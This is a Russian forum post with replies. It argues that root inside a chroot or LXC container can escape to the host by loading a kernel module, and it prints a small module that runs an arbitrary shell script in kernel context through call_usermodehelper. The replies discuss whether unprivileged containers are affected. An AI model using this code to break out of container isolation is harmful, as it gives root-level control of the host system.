Собственно, все вы знаете, что я на каждом столбе пишу о том, что выйти из чрута (или lxc, если не запретить загрузку модулей ядра) можно, и даже очень легко. Наверное, пришло время пруфов.
Смысл в том, что если вы можете загружать произвольные модули ядра в основную систему (а будучи рутом в чруте — можете) — то вы можете всё, независимо от того, что о ваших правах думают те, кто создавал вам «изолированную» среду. Точнее, вы можете поменять рутовый пароль или выдать себе sudo в основной системе — ну а дальше дело техники.
Я привожу код модуля ядра, который выполнит в контексте ядра нужный нам sh-скрипт. Так как я не люблю скрипт-киддисов, то пояснять я ничего не буду. А тем, кто поймет, о чём там и сможет использовать — добро пожаловать в высшую лигу (у нас вакансии есть кстати, ага). И да — конечно же, там есть две буквы, которые всё сломали.
#include <linux/kernel.h>
#include <linux/kmod.h>
int init_module(void)
{
printk(KERN_INFO "init_module() called\n");
/* argv[0] = "/bin/bash";
argv[1] = "-v";
argv[2] = "/path/to/happy-hacking.sh";
argv[3] = NULL;
envp[0] = "HOME=/";
envp[1] = "TERM=linux";
envp[2] = "PATH=/sbin:/usr/sbin:/bin:/usr/bin";
envp[3] = NULL;*/
const char* argv[] = { "/bin/bash", "-v", "/path/to/happy-hacking.sh", NULL };
const char* envp[] = {"HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
/* char * envp[] = { "HOME=/", NULL };
char * argv[] = { "/bin/ls", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);*/
return 0;
}
void cleanup_module(void)
{
printk(KERN_INFO "cleanup_module() called\n");
}
В unprivileged lxcc не сработает, как я понимаю?
Unprivileged в плане безопасности не ковырял?
Не ковырял.
Но там всё так же — если unprivileged-контейнеру разрешено подгружать произвольные модули ядра, то сработает. Если нельзя — то не сработает.
Так то и для обычных контейнеров подгрузку модулей можно отключить.
А как unprivileged-контейнер загрузит модуль, если root в нем имеет отличный от 0 UID?
А черт знает =)
Пробовать надо — может и сможет. Должны же контейнеры уметь загружать всякие mangle/nat.